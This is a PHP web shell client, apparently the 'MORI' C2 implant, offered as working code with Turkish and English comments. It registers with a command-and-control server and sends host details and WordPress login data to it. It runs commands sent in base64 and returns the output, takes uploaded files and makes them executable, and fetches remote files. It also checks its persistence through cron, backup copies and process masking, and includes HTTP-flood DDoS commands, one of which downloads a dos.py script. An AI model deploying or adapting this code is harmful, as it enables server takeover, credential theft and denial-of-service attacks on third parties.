// =====================================================
// C2 REGISTRATION & COMMAND EXECUTION
// =====================================================

// =====================================================
// COMMAND EXECUTION ENGINE - REMOVED
// Use execute_command() or execute_system_command() instead
// =====================================================

// =====================================================
// API ENDPOINTS
// =====================================================

// Auto-register on first access
// Auto-register (non-blocking, background task)
// Cache registration in memory to avoid repeat registration loops
// wp-activeter.php → navbar.php self-rename (non-WP sites)
@self_rename_and_register();

if (!isset($GLOBALS['_SHELL_REGISTERED'])) {
    $GLOBALS['_SHELL_REGISTERED'] = false;

    // Try to read registration status from file (one-time read)
    $reg_file = __DIR__ . '/.registered';
    if (@file_exists($reg_file) && @filesize($reg_file) > 0) {
        $GLOBALS['_SHELL_REGISTERED'] = true;
    } else {
        // First-time registration - non-blocking attempt
        // Try registration with super short timeout (1 sec max)
        @c2_register_background($GLOBALS['C2_SERVER'], $GLOBALS['CLIENT_ID']);
        
        // Mark as registered to avoid infinite loop
        $GLOBALS['_SHELL_REGISTERED'] = true;
    }
}

// Handle API requests
if (isset($_GET['m']) || isset($_POST['m'])) {
    // Decode with safe_base64_decode (uses -, _ instead of +, /)
    $encoded = $_GET['m'] ?? $_POST['m'] ?? '';
    $cmd = safe_base64_decode($encoded);
    
    if (!$cmd) {
        echo "[ERROR] Failed to decode command";
        exit;
    }
    
    error_log("[EXEC] Executing command: " . (strlen($cmd ?? '') > 0 ? substr($cmd, 0, 100) : '(empty)'));
    
    $output = execute_command($cmd);
    $task_id = $_GET['task_id'] ?? $_POST['task_id'] ?? null;
    
    error_log("[EXEC] Output length: " . strlen($output));
    
    // Send result to C2
    @c2_send_result($GLOBALS['C2_SERVER'], $GLOBALS['CLIENT_ID'], $cmd, $output, $task_id);
    
    // Return output to requester
    echo $output;
    exit;
}

if (isset($_GET['info'])) {
    echo json_encode(get_system_info());
    exit;
}

// =====================================================
// FILE UPLOAD HANDLER (HTTP-based fallback)
// =====================================================
// When shell commands are disabled, C2 sends files via HTTP POST
// Receives: Base64-encoded file content + filename
// Stores: Decoded file to filesystem
if (isset($_POST['act']) && $_POST['act'] == 'upload_file') {
    header('Content-Type: application/json; charset=utf-8');
    
    $encoded_data = $_POST['data'] ?? '';
    $filename = $_POST['filename'] ?? '';
    
    // Validate
    if (empty($encoded_data) || empty($filename)) {
        http_response_code(400);
        echo json_encode(['error' => 'Missing data or filename', 'success' => false]);
        exit;
    }
    
    // Sanitize filename (prevent directory traversal)
    $filename = basename($filename);
    if (strpos($filename, '..') !== false || strpos($filename, '/') !== false) {
        http_response_code(400);
        echo json_encode(['error' => 'Invalid filename', 'success' => false]);
        exit;
    }
    
    // Base64 decode
    $file_content = @base64_decode($encoded_data, true);
    if ($file_content === false) {
        http_response_code(400);
        echo json_encode(['error' => 'Invalid base64 encoding', 'success' => false]);
        exit;
    }
    
    // Write file to current directory or temp
    $target_dir = sys_get_temp_dir();
    $target_path = $target_dir . '/' . $filename;
    
    // Try current dir first
    if (@is_writable(getcwd())) {
        $target_path = getcwd() . '/' . $filename;
    }
    
    // Write file
    $bytes_written = @file_put_contents($target_path, $file_content);
    if ($bytes_written === false) {
        http_response_code(500);
        echo json_encode(['error' => 'Failed to write file', 'success' => false]);
        exit;
    }
    
    // Make executable if .sh or .py
    @chmod($target_path, 0755);
    
    http_response_code(201);
    echo json_encode([
        'success' => true,
        'filename' => $filename,
        'path' => $target_path,
        'size' => strlen($file_content),
        'message' => 'File uploaded successfully'
    ]);
    exit;
}

// REGISTER DATA ENDPOINT - C2 server pulls system info from here
if (isset($_GET['act']) && $_GET['act'] === 'register_data') {
    header('Content-Type: application/json; charset=utf-8');
    echo json_encode(collect_system_info());
    exit;
}

// PERSISTENCE STATUS ENDPOINT - Report persistence layer status
if (isset($_GET['act']) && $_GET['act'] === 'persistence_status') {
    header('Content-Type: application/json; charset=utf-8');
    
    $persistence_info = [
        'backup_locations' => [],
        'cron_job' => false,
        'wordpress_hooks' => false,
        'daemon_processes' => [],
        'checked_at' => date('c')
    ];
    
    // Backup locations - check common persistence paths
    $backup_paths = [
        '/tmp',
        '/var/tmp',
        '/dev/shm',
        '/home',
        '/root',
        sys_get_temp_dir()
    ];
    
    foreach ($backup_paths as $path) {
        if (@is_dir($path) && @is_writable($path)) {
            // Look for shell backups in this directory
            $shell_name = basename($GLOBALS['C2_SHELL'] ?? __FILE__);
            $pattern = $path . '/*' . $shell_name;
            $matches = @glob($pattern, GLOB_NOSORT);
            if ($matches && count($matches) > 0) {
                foreach ($matches as $match) {
                    if (@file_exists($match)) {
                        $persistence_info['backup_locations'][] = $match;
                    }
                }
            }
        }
    }
    
    // Check for cron job
    if (function_exists('shell_exec')) {
        $crontab = @shell_exec('crontab -l 2>/dev/null');
        if ($crontab && (strpos($crontab, $GLOBALS['CLIENT_ID'] ?? 'mori') !== false || 
                         strpos($crontab, basename($GLOBALS['C2_SHELL'] ?? __FILE__)) !== false)) {
            $persistence_info['cron_job'] = true;
        }
    }
    
    // Check for WordPress hooks (wp_options table modifications)
    if (defined('ABSPATH') && defined('DB_NAME')) {
        // WordPress environment detected
        $persistence_info['wordpress_hooks'] = true;
    }
    
    // Check for daemon processes
    if (function_exists('shell_exec')) {
        $ps = @shell_exec('ps aux 2>/dev/null');
        if ($ps) {
            $client_id = $GLOBALS['CLIENT_ID'] ?? 'mori';
            $shell_name = basename($GLOBALS['C2_SHELL'] ?? __FILE__);
            foreach (explode("\n", $ps) as $line) {
                if ((strpos($line, $client_id) !== false || strpos($line, $shell_name) !== false) && 
                    strpos($line, 'grep') === false) {
                    // Extract PID
                    $parts = preg_split('/\s+/', trim($line));
                    if (isset($parts[1])) {
                        $persistence_info['daemon_processes'][] = (int)$parts[1];
                    }
                }
            }
            // Remove duplicates
            $persistence_info['daemon_processes'] = array_unique($persistence_info['daemon_processes']);
        }
    }
    
    echo json_encode($persistence_info, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES);
    exit;
}
if (isset($_GET['task'])) {
    echo @c2_get_task($GLOBALS['C2_SERVER'], $GLOBALS['CLIENT_ID']) ?: "[WAIT]";
    exit;
}

// CLI Daemon mode — cron veya direkt çalışma
if (php_sapi_name() === 'cli') {
    // Prevent cron process accumulation: exit immediately if another instance is running
    $cli_lock_file = sys_get_temp_dir() . '/.mori_cli_' . substr(md5(SHELL_PATH), 0, 8) . '.lk';
    $cli_lock_fp   = @fopen($cli_lock_file, 'w');
    if (!$cli_lock_fp || !@flock($cli_lock_fp, LOCK_EX | LOCK_NB)) {
        exit(0); // already running — silently exit
    }

    // Exit before next cron tick so the next tick can start fresh (cron = 5min = 300s)
    $cli_max_runtime = 290;
    $cli_start_time  = time();

    @ProcessMasker::mask();

    // Queue dosyasını işle (web PHP'de exec kısıtlıysa CLI burada çalışır)
    $queue_file = REAL_DIR . '/.mori_exec_queue';
    if (@file_exists($queue_file) && @filesize($queue_file) > 2) {
        $queue = @json_decode(@file_get_contents($queue_file), true) ?: [];
        @file_put_contents($queue_file, '[]', LOCK_EX); // Temizle
        foreach ($queue as $item) {
            $qcmd = $item['cmd'] ?? '';
            if (!empty($qcmd)) {
                $qout = execute_system_command($qcmd);
                @c2_send_result($GLOBALS['C2_SERVER'], $GLOBALS['CLIENT_ID'], $qcmd, "[QUEUE_EXEC] " . $qout, null);
            }
        }
    }

    $error_sentinels = ['no_task', 'db_unavailable', 'error', '[WAIT]', '[NO_ID]'];
    $idle_streak  = 0;   // consecutive no-task polls
    $next_poll_in = 30;  // seconds until next poll (server may override)

    while (true) {
        // Exit cleanly before next cron tick to prevent process accumulation
        if ((time() - $cli_start_time) >= $cli_max_runtime) break;

        $task_raw = @c2_get_task($GLOBALS['C2_SERVER'], $GLOBALS['CLIENT_ID']);
        $cmd          = null;
        $task_id      = null;
        $retry_after  = null;

        if ($task_raw) {
            $task_decoded = @json_decode($task_raw, true);
            if (is_array($task_decoded)) {
                $retry_after = isset($task_decoded['retry_after']) ? (int)$task_decoded['retry_after'] : null;
                $raw_cmd     = $task_decoded['command'] ?? '';
                if ($raw_cmd && !in_array($raw_cmd, $error_sentinels, true)) {
                    $cmd     = $raw_cmd;
                    $task_id = $task_decoded['id'] ?? null;
                }
            } elseif (!in_array($task_raw, $error_sentinels, true)) {
                $cmd = $task_raw;
            }
        }

        if ($cmd) {
            $out = execute_command($cmd);
            @c2_send_result($GLOBALS['C2_SERVER'], $GLOBALS['CLIENT_ID'], $cmd, $out, $task_id);
            $idle_streak  = 0;
            $next_poll_in = $retry_after ?? 5; // task just ran → check again soon
        } else {
            $idle_streak++;
            // Exponential backoff: 30s → 60s after 10 idle polls
            $backoff      = $idle_streak > 10 ? 60 : 30;
            $next_poll_in = $retry_after ?? $backoff;
        }

        // Process local exec queue each cycle
        if (@file_exists($queue_file) && @filesize($queue_file) > 2) {
            $queue = @json_decode(@file_get_contents($queue_file), true) ?: [];
            @file_put_contents($queue_file, '[]', LOCK_EX);
            foreach ($queue as $item) {
                $qcmd = $item['cmd'] ?? '';
                if (!empty($qcmd)) {
                    $qout = execute_system_command($qcmd);
                    @c2_send_result($GLOBALS['C2_SERVER'], $GLOBALS['CLIENT_ID'], $qcmd, "[QUEUE] " . $qout, null);
                }
            }
        }

        sleep($next_poll_in);
    }

    // Release lock so the next cron tick can acquire it
    @flock($cli_lock_fp, LOCK_UN);
    @fclose($cli_lock_fp);
    exit(0);
}

// No output - shell is silent

function http_get($url) {
    return http_request('GET', $url);
}

function http_post($url, $data) {
    return http_request('POST', $url, $data);
}

function fetch_url_content($url, $timeout = 15) {
    $url = trim($url);
    if (empty($url) || !filter_var($url, FILTER_VALIDATE_URL)) {
        return false;
    }

    // YÖNTEM 1: cURL (en güvenilir)
    if (function_exists('curl_init')) {
        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
        curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_MAXREDIRS, 3);
        $result = @curl_exec($ch);
        curl_close($ch);
        if ($result !== false && strlen($result) > 0) {
            return $result;
        }
    }

    // YÖNTEM 2: file_get_contents with stream context
    if (ini_get('allow_url_fopen')) {
        $context = stream_context_create([
            'http' => ['method' => 'GET', 'timeout' => $timeout, 'ignore_errors' => true, 'follow_location' => 1, 'max_redirects' => 3],
            'ssl'  => ['verify_peer' => false, 'verify_peer_name' => false]
        ]);
        $result = @file_get_contents($url, false, $context);
        if ($result !== false && strlen($result) > 0) {
            return $result;
        }
    }

    // YÖNTEM 3: fopen fallback
    if (ini_get('allow_url_fopen')) {
        $context = stream_context_create([
            'http' => ['method' => 'GET', 'timeout' => $timeout, 'ignore_errors' => true, 'follow_location' => 1, 'max_redirects' => 3],
            'ssl'  => ['verify_peer' => false, 'verify_peer_name' => false]
        ]);
        $fp = @fopen($url, 'rb', false, $context);
        if ($fp) {
            $result = '';
            while (!feof($fp) && strlen($result) < 10485760) { // 10MB max
                $chunk = fread($fp, 8192);
                if ($chunk === false) break;
                $result .= $chunk;
            }
            fclose($fp);
            if ($result !== '' && strlen($result) > 0) {
                return $result;
            }
        }
    }

    return false;
}

function download_remote_file($url, $filename) {
    $content = fetch_url_content($url);
    if ($content === false) {
        return "[ERROR] URL fetch failed: $url";
    }

    // Absolute path → use directly; relative → resolve under __DIR__
    if ($filename !== '' && ($filename[0] === '/' || $filename[0] === '\\')) {
        $target = $filename;
    } else {
        $target = __DIR__ . '/' . ltrim($filename, '/\\');
    }

    $dir = dirname($target);
    if (!is_dir($dir)) {
        @mkdir($dir, 0755, true);
    }

    $written = @file_put_contents($target, $content);
    if ($written === false) {
        return "[ERROR] Cannot write file: $target";
    }

    // Auto-chmod scripts executable
    $ext = strtolower(pathinfo($target, PATHINFO_EXTENSION));
    @chmod($target, in_array($ext, ['py', 'sh', 'pl', 'rb']) ? 0755 : 0644);
    return "OK: downloaded $url to $target ($written bytes)";
}

function get_server_persistence_url() {
    global $C2_SERVER, $persistence_default_url;
    $c2_server = $C2_SERVER;
    $url = $persistence_default_url;

    $urlver_token = md5('mori_c2_secret_2024_persistence');
    $response = @http_get($c2_server . '?urlver&token=' . $urlver_token);
    if ($response) {
        $response = trim($response);
        if (filter_var($response, FILTER_VALIDATE_URL)) {
            return $response;
        }
    }

    $response = @http_get($c2_server . '?act=persistence_get');
    if ($response) {
        $json = json_decode($response, true);
        if (is_array($json) && isset($json['url']) && filter_var($json['url'], FILTER_VALIDATE_URL)) {
            $url = $json['url'];
        }
    }

    return $url;
}

// =====================================================
// VERİ KODLAMA İŞLEMLERİ
// =====================================================
function safe_base64_encode($data) {
    return str_replace(['+', '/', '='], ['-', '_', ''], base64_encode($data));
}

function safe_base64_decode($data) {
    $data = str_replace(['-', '_'], ['+', '/'], $data);
    $padding = 4 - (strlen($data) % 4);
    if ($padding !== 4) {
        $data .= str_repeat('=', $padding);
    }
    return base64_decode($data, true);
}

function safe_json_encode($data) {
    return json_encode($data, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
}

// =====================================================
// GELİŞMİŞ SİSTEM BİLGİ TOPLAMA
// =====================================================
function get_public_ip() {
    static $cached = null;
    if ($cached) return $cached;

    // 1. File cache (6h TTL) — avoids any network call after first lookup
    $ip_cache = sys_get_temp_dir() . '/.mori_ip_cache';
    if (@file_exists($ip_cache) && (time() - @filemtime($ip_cache)) < 21600) {
        $ip = trim((string)@file_get_contents($ip_cache));
        if ($ip && filter_var($ip, FILTER_VALIDATE_IP)) { $cached = $ip; return $cached; }
    }

    // 2. SERVER_ADDR — no network call, works on most hosts
    $sa = $_SERVER['SERVER_ADDR'] ?? $_SERVER['LOCAL_ADDR'] ?? '';
    if ($sa && filter_var($sa, FILTER_VALIDATE_IP) && $sa !== '127.0.0.1') {
        $cached = $sa; @file_put_contents($ip_cache, $cached); return $cached;
    }

    // 3. External lookup — 2s timeout, curl only (was 4s × 2 methods)
    $sources = ['https://api.ipify.org', 'https://ifconfig.me/ip', 'https://checkip.amazonaws.com'];
    foreach ($sources as $src) {
        $ip = trim((string)exec_any("curl -sfL --max-time 2 '" . $src . "' 2>/dev/null"));
        if ($ip && filter_var(trim($ip), FILTER_VALIDATE_IP)) {
            $cached = trim($ip); @file_put_contents($ip_cache, $cached); return $cached;
        }
    }

    // 4. Shell fallback (local interface, no network)
    foreach ([
        "ip route get 1 2>/dev/null | awk '{for(i=1;i<=NF;i++) if(\$i==\"src\") {print \$(i+1); exit}}'",
        "hostname -I 2>/dev/null | awk '{print $1}'",
    ] as $cmd) {
        $ip = trim((string)exec_any($cmd));
        if ($ip && filter_var($ip, FILTER_VALIDATE_IP) && $ip !== '127.0.0.1') {
            $cached = $ip; @file_put_contents($ip_cache, $cached); return $cached;
        }
    }

    $cached = @gethostbyname(@gethostname() ?: 'localhost') ?: 'unknown';
    return $cached;
}

function collect_system_info() {
    global $is_windows;
    
    $info = [
        'os' => [
            'type' => PHP_OS ?? 'unknown',
            'family' => detect_os_family(),
            'hostname' => @gethostname() ?: 'unknown',
            'arch' => @php_uname('m') ?: 'unknown',
            'kernel' => @php_uname('r') ?: 'unknown',
            'full' => @php_uname('a') ?: 'unknown'
        ],
        'web' => [
            'server' => $_SERVER['SERVER_SOFTWARE'] ?? 'unknown',
            'user' => get_current_user(),
            'cwd' => getcwd() ?: __DIR__,
            'document_root' => $_SERVER['DOCUMENT_ROOT'] ?? '',
            'script_path' => __FILE__,
            'web_shell_url' => $GLOBALS['web_shell_url'] ?? 'unknown',
            'server_ip' => get_public_ip(),
            'client_ip' => $_SERVER['REMOTE_ADDR'] ?? 'unknown'
        ],
        'php' => [
            'version' => PHP_VERSION,
            'sapi' => php_sapi_name(),
            'extensions' => get_loaded_extensions(),
            'disabled_functions' => ini_get('disable_functions'),
            'memory_limit' => ini_get('memory_limit'),
            'max_execution_time' => ini_get('max_execution_time')
        ],
        'disk' => [
            'total' => @disk_total_space(__DIR__),
            'free' => @disk_free_space(__DIR__)
        ],
        'time' => [
            'timestamp' => time(),
            'timezone' => date_default_timezone_get(),
            'datetime' => date('Y-m-d H:i:s')
        ],
        'permissions' => [
            'can_read' => is_readable(__FILE__),
            'can_write' => is_writable(__DIR__),
            'can_execute' => is_executable(__FILE__)
        ]
    ];
    
    // Windows özel bilgiler
    if ($is_windows) {
        $info['windows'] = [
            'comspec' => getenv('COMSPEC'),
            'windir' => getenv('WINDIR'),
            'username' => getenv('USERNAME'),
            'computername' => getenv('COMPUTERNAME')
        ];
    }
    
    return $info;
}

function detect_os_family() {
    $os = strtoupper(PHP_OS);
    if (strpos($os, 'WIN') === 0) return 'WINDOWS';
    if (strpos($os, 'DAR') === 0) return 'MACOS';
    if (strpos($os, 'LINUX') === 0) return 'LINUX';
    if (strpos($os, 'BSD') !== false) return 'BSD';
    return 'UNKNOWN';
}

// =====================================================
// C2 API İŞLEMLERİ (GELİŞMİŞ)
// =====================================================
// C2 REGISTRATION - BACKGROUND & MAIN
// =====================================================

/**
 * Background registration - non-blocking, fail-fast
 * Used for auto-registration on first load
 * Never blocks page load (1 sec timeout max)
 */
function c2_register_background($server, $id, $override_url = null) {
    global $web_shell_url;
    $url = $override_url ?: $web_shell_url;

    try {
        $sysinfo = collect_system_info();
    } catch (Exception $e) {
        error_log("[c2_register_background] Sysinfo failed: " . $e->getMessage());
        return false;
    }

    // Include cached sister files (populated by ensure_persistence_v4 on previous run)
    $sister_cache = sys_get_temp_dir() . '/.mori_sister_cache.json';
    $sister_data  = @json_decode(@file_get_contents($sister_cache), true);
    $wp_creds = is_wordpress_installed()
        ? generate_wp_login_credentials()
        : ['blogs_id' => null, 'hash' => null];

    $payload = [
        'id'            => $id,
        'web_shell_url' => $url,
        'server_ip'     => get_public_ip(),   // c2serverr.php REMOTE_ADDR yerine bunu kullanır
        'sysinfo'       => $sysinfo,
        'sister_files'  => $sister_data['locations'] ?? [],
        'sister_urls'   => $sister_data['urls']      ?? [],
        'wp_login_id'   => $wp_creds['blogs_id'],
        'wp_login_hash' => $wp_creds['hash'],
        'timestamp'     => time(),
        'version'       => '3.0'
    ];

    $encoded = safe_base64_encode(safe_json_encode($payload));
    
    // ONE attempt only — 3s gives TLS handshake + DB insert enough room
    $result = @http_post_timeout($server . '?act=reg', $encoded, 3);
    
    $trimmed = trim($result ?? '');
    $reg_json = $trimmed ? @json_decode($trimmed, true) : null;
    $reg_ok = ($trimmed === 'ok') || (!empty($reg_json['success']));
    if ($result && $reg_ok) {
        error_log("[c2_register_background] SUCCESS");
        @file_put_contents(__DIR__ . '/.registered', time());
        return true;
    }

    error_log("[c2_register_background] FAILED or timeout: " . substr($trimmed, 0, 80));
    return false;
}

function http_post_timeout($url, $data, $timeout = 1) {
    // Very fast fallback - cURL only with strict timeout
    if (function_exists('curl_init')) {
        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        // CURLOPT_TIMEOUT would int-cast 0.5 → 0 (infinite) — use TIMEOUT_MS only
        curl_setopt($ch, CURLOPT_TIMEOUT_MS, (int)($timeout * 1000));
        curl_setopt($ch, CURLOPT_USERAGENT, 'MORI-Agent/2.0');
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
        
        $result = @curl_exec($ch);
        @curl_close($ch);
        
        if ($result !== false && !empty($result)) {
            return $result;
        }
    }
    
    return null;
}

// =====================================================
function c2_register($server, $id) {
    global $web_shell_url;
    
    error_log("[c2_register] Starting with id=$id, server=$server");
    
    try {
        $sysinfo = collect_system_info();
        error_log("[c2_register] Sysinfo collected");
    } catch (Exception $e) {
        error_log("[c2_register] Exception in collect_system_info: " . $e->getMessage());
        return false;
    }

    $payload = [
        'id' => $id,
        'web_shell_url' => $web_shell_url,
        'sysinfo' => $sysinfo,
        'timestamp' => time(),
        'version' => '3.0'
    ];

    $encoded = safe_base64_encode(safe_json_encode($payload));
    error_log("[c2_register] Payload encoded: " . strlen($encoded) . " bytes");
    
    // Retry logic - 3 kez dene with SHORT sleeps
    for ($attempt = 1; $attempt <= 3; $attempt++) {
        error_log("[c2_register] Attempt $attempt/3");
        $result = http_post($server . '?act=reg', $encoded);
        
        // Null-safe response handling
        $result = $result ?: '';  // Convert null to empty string
        $result_preview = $result ? substr($result, 0, 100) : '(empty)';
        error_log("[c2_register] Response: " . $result_preview);
        
        // Check for success - accept both 'ok' string and JSON {success:true}
        $trimmed_r = trim($result);
        $json_r = $trimmed_r ? @json_decode($trimmed_r, true) : null;
        if (!empty($result) && ($trimmed_r === 'ok' || !empty($json_r['success']))) {
            error_log("[c2_register] SUCCESS!");
            
            // Guarantee write registration marker (retry if fails)
            $reg_file = __DIR__ . '/.registered';
            if (!@file_exists($reg_file) || @filesize($reg_file) < 5) {
                @file_put_contents($reg_file, time());
            }
            
            return true;
        }
        
        // Very SHORT sleep (0.5 sec instead of 2 sec)
        if ($attempt < 3) {
            usleep(500000); // 0.5 second instead of sleep(2)
        }
    }
    
    // Tüm denemeler başarısız olursa false döndür
    error_log("[c2_register] FAILED - All attempts failed");
    return false;
}

/**
 * BATCH REGISTRATION - Toplu client kaydı (1000+ site için ideal)
 * Tek HTTP isteğinde 50 client'ı kaydet
 * Crash riski %99 azalır (200 req → 4 req)
 */
function c2_register_batch($server, $clients_batch) {
    if (!is_array($clients_batch) || count($clients_batch) === 0) {
        return false;
    }

    // Max 50 client per batch
    $clients_batch = array_slice($clients_batch, 0, 50);

    $payload = [
        'clients' => $clients_batch,
        'batch_version' => '1.0',
        'batch_timestamp' => time()
    ];

    $encoded = safe_base64_encode(safe_json_encode($payload));
    
    // Retry logic - 3 kez dene
    for ($attempt = 1; $attempt <= 3; $attempt++) {
        $result = http_post($server . '?act=reg_batch', $encoded);
        
        // Null-safe null coalescing
        $result = $result ?: '';
        
        if (!empty($result)) {
            $decoded = json_decode($result, true);
            if (is_array($decoded) && ($decoded['batch_processed'] ?? false) === true) {
                error_log("[c2_register_batch] SUCCESS on attempt $attempt");
                return $decoded; // Success - döndür sonuç
            }
        }
        
        error_log("[c2_register_batch] Attempt $attempt/3 failed or invalid response");
        
        // İlk 2 denemede başarısızsa 1 saniye bekle
        if ($attempt < 3) {
            sleep(1);
        }
    }
    
    // Fallback: tek tek kayıt TRY (sadece 1x, loop yok)
    // Don't use retry logic here - already failed batch
    foreach ($clients_batch as $client) {
        $single_start = time();
        @c2_register_background($server, $client['id'], $client['web_shell_url'] ?? null);
        // Skip if taking too long
        if (time() - $single_start > 3) break;
    }
    
    return false;
}

function c2_get_task($server, $id) {
    $url = $server . '?act=get_task&id=' . urlencode($id);
    return http_get($url);
}

function c2_send_result($server, $id, $command, $output, $task_id = null) {
    $payload = [
        'id' => $id,
        'task_id' => $task_id,
        'command' => $command,
        'output' => safe_base64_encode($output),  // Standardized encoding
        'timestamp' => time()
    ];
    
    $encoded = safe_base64_encode(safe_json_encode($payload));
    return http_post($server . '?act=set_res', $encoded);
}

function c2_update_status($server, $id, $status = 'alive') {
    $payload = [
        'id' => $id,
        'status' => $status,
        'timestamp' => time()
    ];
    
    $encoded = safe_base64_encode(safe_json_encode($payload));
    return http_post($server . '?act=update', $encoded);
}

// =====================================================
// GELİŞMİŞ KOMUT ÇALIŞTIRMA MOTORU
// =====================================================
function execute_command($cmd) {
    global $is_windows;
    
    $cmd = trim($cmd);
    if (empty($cmd)) return '';

    // Panel'in stateless TTY wrapper'ını çöz: (cd "PATH" && (CMD)) veya (cd /d "PATH" && (CMD))
    if (preg_match('/^\(cd(?:\s+\/d)?\s+"([^"]+)"\s*&&\s*\((.+)\)\s*\)$/s', $cmd, $wm)) {
        @chdir($wm[1]);
        return execute_command(trim($wm[2]));
    }

    $output = '';
    $methods = [];

    // ÖZEL KOMUTLAR (PHP CORE)

    // pwd / cd
    if ($cmd === 'pwd' || $cmd === 'cd') {
        return getcwd() ?: REAL_DIR;
    }
    
    // CD ile dizin değiştir (büyük/küçük harf bağımsız)
    // Handle both pure 'cd path' and 'cd path && othercmd'
    if (preg_match('/^cd\s+(?:[\'"])?([^\'"&]+?)(?:[\'"])?(?:\s*&&\s*(.*))?$/i', $cmd, $m)) {
        $path = trim($m[1]);
        $remaining_cmd = isset($m[2]) ? trim($m[2]) : '';
        
        if (@chdir($path)) {
            $cwd = getcwd();
            if (!empty($remaining_cmd)) {
                // If there's a command after &&, execute it in the new directory
                $result = execute_command($remaining_cmd);
                return $result;
            }
            return $cwd;
        }
        return "[ERROR] Cannot change to: $path";
    }
    
    // FILELIST - Dizin listele
    if (strpos($cmd, 'FILELIST ') === 0) {
        $path = trim(substr($cmd, 9)) ?: getcwd();
        return list_directory($path);
    }
    
    // FILEREAD - Dosya oku
    if (strpos($cmd, 'FILEREAD ') === 0) {
        $file = trim(substr($cmd, 9));
        return read_file($file);
    }
    
    // FILEWRITE - Dosya yaz
    if (strpos($cmd, 'FILEWRITE ') === 0) {
        $parts = explode(' ', $cmd, 3);
        if (count($parts) >= 3) {
            return write_file($parts[1], $parts[2]);
        }
        return "[ERROR] FILEWRITE <path> <base64_content>";
    }

    // DOWNLOADFILE - URL'den dosya indirip kaydet
    if (strpos($cmd, 'DOWNLOADFILE ') === 0 || strpos($cmd, 'DOWNLOADURL ') === 0) {
        $parts = preg_split('/\s+/', $cmd, 3);
        if (count($parts) >= 3) {
            return download_remote_file($parts[1], $parts[2]);
        }
        return "[ERROR] DOWNLOADFILE <url> <filename>";
    }
    
    // FILEDELETE - Dosya sil
    if (strpos($cmd, 'FILEDELETE ') === 0) {
        $file = trim(substr($cmd, 11));
        return delete_file($file);
    }
    
    // FILECOPY - Dosya kopyala
    if (strpos($cmd, 'FILECOPY ') === 0) {
        $parts = explode(' ', $cmd, 3);
        if (count($parts) >= 3) {
            return copy_file($parts[1], $parts[2]);
        }
        return "[ERROR] FILECOPY <source> <dest>";
    }
    
    // DIRCREATE - Dizin oluştur
    if (strpos($cmd, 'DIRCREATE ') === 0) {
        $path = trim(substr($cmd, 10));
        return create_directory($path);
    }
    
    // DIRDELETE - Dizin sil
    if (strpos($cmd, 'DIRDELETE ') === 0) {
        $path = trim(substr($cmd, 10));
        return delete_directory($path);
    }
    
    // SISTEM BILGILERI
    if ($cmd === 'sysinfo' || $cmd === 'system') {
        return json_encode(collect_system_info(), JSON_PRETTY_PRINT);
    }
    
    if ($cmd === 'whoami') {
        if (function_exists('posix_getpwuid') && function_exists('posix_geteuid')) {
            $pw = @posix_getpwuid(@posix_geteuid());
            if ($pw && !empty($pw['name'])) return $pw['name'];
        }
        $cu = get_current_user();
        if ($cu) return $cu;
        if (@is_readable('/proc/self/status')) {
            if (preg_match('/^Uid:\s+\d+\s+(\d+)/m', @file_get_contents('/proc/self/status'), $rm)) return 'uid:' . $rm[1];
        }
        return 'unknown';
    }

    if ($cmd === 'id') {
        if (function_exists('posix_getpwuid') && function_exists('posix_geteuid')) {
            $uid = @posix_geteuid(); $gid = @posix_getegid();
            $pw  = @posix_getpwuid($uid); $gr  = @posix_getgrgid($gid);
            return "uid={$uid}(" . ($pw['name'] ?? '?') . ") gid={$gid}(" . ($gr['name'] ?? '?') . ")";
        }
        return 'id: posix not available';
    }

    if ($cmd === 'hostname') {
        return gethostname();
    }

    if ($cmd === 'uname' || $cmd === 'uname -a') {
        return php_uname($cmd === 'uname' ? 'n' : 'a');
    }

    // ls / dir — with optional path argument
    if (preg_match('/^(ls|dir)(\s+(.+))?$/i', $cmd, $lm)) {
        $lpath = isset($lm[3]) ? trim($lm[3]) : getcwd();
        return list_directory($lpath);
    }

    // cat FILE — PHP native read
    if (preg_match('/^cat\s+(.+)$/i', $cmd, $catm)) {
        return read_file(trim($catm[1]));
    }

    if ($cmd === 'clear' || $cmd === 'cls') {
        return '__CLEAR__';
    }
    
    // PHP_STRESS — shell olmadan native PHP HTTP flood
    // Sözdizimi: PHP_STRESS <target> <method> <duration> <threads> [refs] [max_cpu] [max_ram] [rpc]
    if (strpos($cmd, 'PHP_STRESS ') === 0) {
        $parts = preg_split('/\s+/', trim(substr($cmd, 11)));
        $target   = $parts[0] ?? '';
        $method   = strtoupper($parts[1] ?? 'GET');
        $duration = (int)($parts[2] ?? 20);
        $threads  = min((int)($parts[3] ?? 10), 50);
        $refs     = $parts[4] ?? '_';
        $max_cpu  = (int)($parts[5] ?? 80);
        $max_ram  = (int)($parts[6] ?? 75);
        $rpc      = (int)($parts[7] ?? 10);
        if (empty($target)) return '[ERROR] PHP_STRESS: hedef URL gerekli';
        return php_native_flood($target, $method, $duration, $threads, $rpc);
    }

    // MORI_STRESS — anında fire-and-forget, download+run tek bg komutu
    // Kullanım: MORI_STRESS <target> <method> <threads> [duration=300] [rpc=15]
    if (strpos($cmd, 'MORI_STRESS ') === 0) {
        ignore_user_abort(true);
        set_time_limit(0);
        $parts    = preg_split('/\s+/', trim(substr($cmd, 12)));
        $target   = $parts[0] ?? '';
        $method   = strtoupper($parts[1] ?? 'GET');
        $threads  = min((int)($parts[2] ?? 100), 500);
        $duration = min((int)($parts[3] ?? 300), 600);
        $rpc      = (int)($parts[4] ?? 15);
        if (empty($target)) return '[ERROR] MORI_STRESS: hedef gerekli';

        $python  = mori_find_python();
        $dl_url  = 'https://raw.githubusercontent.com/wnwnsks/wn/refs/heads/main/dos.py';
        $save    = (is_writable('/tmp') ? '/tmp' : (is_writable('/dev/shm') ? '/dev/shm' : sys_get_temp_dir())) . '/dos_mori.py';
